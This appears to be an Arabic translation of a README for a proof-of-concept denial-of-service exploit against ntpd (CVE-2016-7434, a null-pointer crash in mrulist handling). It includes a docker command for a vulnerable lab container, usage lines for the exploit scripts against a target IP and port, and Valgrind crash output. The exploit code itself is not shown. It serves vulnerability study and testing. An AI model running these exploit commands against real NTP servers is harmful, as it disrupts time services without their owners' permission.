
استغلال حجب الخدمة عن بُعد لـ NTPD وحاوية ضعيفة
يعاني ntpd من خطأ يتمثل في الإشارة إلى مؤشر فارغ (null pointer reference) ويمكن تحفيز هذا الخطأ لتعطيل التطبيق. ووفقًا لموقع NTP.org: «إذا تم تكوين ntpd للسماح بطلبات استعلام mrulist من خادم يرسل حزمة خبيثة مصمّمة بعناية، فسيتعطل ntpd عند استلام حزمة استعلام mrulist الخبيثة المصمّمة بعناية.»
برنامج ntpd هو برنامج خفي (daemon) في نظام التشغيل يعمل على ضبط وقت نظام الحاسوب والحفاظ عليه متزامنًا مع خوادم الوقت القياسية على الإنترنت. وهو تنفيذ كامل للبروتوكول NTP (Network Time Protocol) الإصدار 4، مع الحفاظ على التوافق مع الإصدارات 1 و2 و3.
يمكن العثور على الروتين الذي يقرأ قائمة MRU (read_mru_list) هنا، وهنا السطر الذي يحدث فيه الاستثناء
إذا أردت نظامًا معرّضًا للثغرة لاختبار هذا الاستغلال، يمكنك استخدام docker لإنشائه.
docker run --rm -it --name ntpvulnerable -p 123:123/udp vulnerables/cve-2016-7434
سيشغّل حاوية docker تحتوي ntpd معرّضًا للثغرة، وبذلك ستتمكن من استغلاله.
./exploit.py -t <target ip> -p <target port>
./exploit.sh <target ip> <target port>
إذا اخترت تشغيل الاستغلال ضد حاوية docker الخاصة بك، فبعد تنفيذ الاستغلال ستظهر النتيجة التالية:
==1== Memcheck, a memory error detector
==1== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==1== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info
==1== Command: /src/ntpd/ntpd -n -c /ntp.conf
==1==
22 Nov 23:59:27 ntpd[1]: ntpd [email protected] Tue Nov 22 23:28:13 UTC 2016 (1): Starting
22 Nov 23:59:27 ntpd[1]: Command line: /src/ntpd/ntpd -n -c /ntp.conf
22 Nov 23:59:27 ntpd[1]: Cannot set RLIMIT_MEMLOCK: Operation not permitted
22 Nov 23:59:27 ntpd[1]: proto: precision = 4.680 usec (-18)
22 Nov 23:59:27 ntpd[1]: switching logging to file /dev/null
22 Nov 23:59:27 ntpd[1]: Listen and drop on 0 v6wildcard [::]:123
22 Nov 23:59:27 ntpd[1]: Listen and drop on 1 v4wildcard 0.0.0.0:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 2 lo 127.0.0.1:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 3 eth0 172.17.0.2:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 4 lo [::1]:123
22 Nov 23:59:27 ntpd[1]: Listen normally on 5 eth0 [fe80::42:acff:fe11:2%13]:123
22 Nov 23:59:27 ntpd[1]: Listening on routing socket on fd #22 for interface updates
22 Nov 23:59:28 ntpd[1]: start_kern_loop: ntp_loopfilter.c line 1118: ntp_adjtime: Operation not permitted
22 Nov 23:59:28 ntpd[1]: set_freq: ntp_loopfilter.c line 1081: ntp_adjtime: Operation not permitted
==1== Invalid read of size 1
==1== at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
==1== by 0x44EB2D: estrdup_impl (emalloc.c:128)
==1== by 0x4192D9: read_mru_list (ntp_control.c:4041)
==1== by 0x423FC1: receive (ntp_proto.c:659)
==1== by 0x412D5F: ntpdmain (ntpd.c:1329)
==1== by 0x4042B8: main (ntpd.c:392)
==1== Address 0x0 is not stack'd, malloc'd or (recently) free'd
==1==
==1==
==1== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==1== Access not within mapped region at address 0x0
==1== at 0x4C2C1A2: strlen (vg_replace_strmem.c:412)
==1== by 0x44EB2D: estrdup_impl (emalloc.c:128)
==1== by 0x4192D9: read_mru_list (ntp_control.c:4041)
==1== by 0x423FC1: receive (ntp_proto.c:659)
==1== by 0x412D5F: ntpdmain (ntpd.c:1329)
==1== by 0x4042B8: main (ntpd.c:392)
==1== If you believe this happened as a result of a stack
==1== overflow in your program's main thread (unlikely but
==1== possible), you can try to increase the size of the
==1== main thread stack using the --main-stacksize= flag.
==1== The main thread stack size used in this run was 204800.
==1==
==1== HEAP SUMMARY:
==1== in use at exit: 31,476 bytes in 149 blocks
==1== total heap usage: 313 allocs, 164 frees, 310,744 bytes allocated
==1==
==1== LEAK SUMMARY:
==1== definitely lost: 0 bytes in 0 blocks
==1== indirectly lost: 0 bytes in 0 blocks
==1== possibly lost: 2,000 bytes in 2 blocks
==1== still reachable: 29,476 bytes in 147 blocks
==1== suppressed: 0 bytes in 0 blocks
==1== Rerun with --leak-check=full to see details of leaked memory
==1==
==1== For counts of detected and suppressed errors, rerun with: -v
==1== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
valgrind: the 'impossible' happened:
main(): signal was supposed to be fatal
host stacktrace:
==1== at 0x380A48EF: show_sched_status_wrk (m_libcassert.c:319)
sched status:
running_tid=1
هذا البرنامج أو البرنامج السابق مخصص لأغراض تعليمية فقط. لا تستخدمه دون إذن. ينطبق إخلاء المسؤولية المعتاد، خاصةً حقيقة أنني (opsxcq) لست مسؤولًا عن أي أضرار ناتجة عن الاستخدام المباشر أو غير المباشر للمعلومات أو الوظائف التي توفرها هذه البرامج. لا يتحمّل المؤلف أو أي مزود إنترنت أي مسؤولية عن المحتوى أو إساءة استخدام هذه البرامج أو أي مشتقات منها. باستخدامك لهذه البرامج، فأنت تقبل حقيقة أن أي ضرر (فقدان البيانات، تعطل النظام، اختراق النظام، وما إلى ذلك) ناتج عن استخدام هذه البرامج ليس مسؤولية opsxcq.
عثر Magnus Klaaborg Stubman (@magnusstubman) على هذه الثغرة.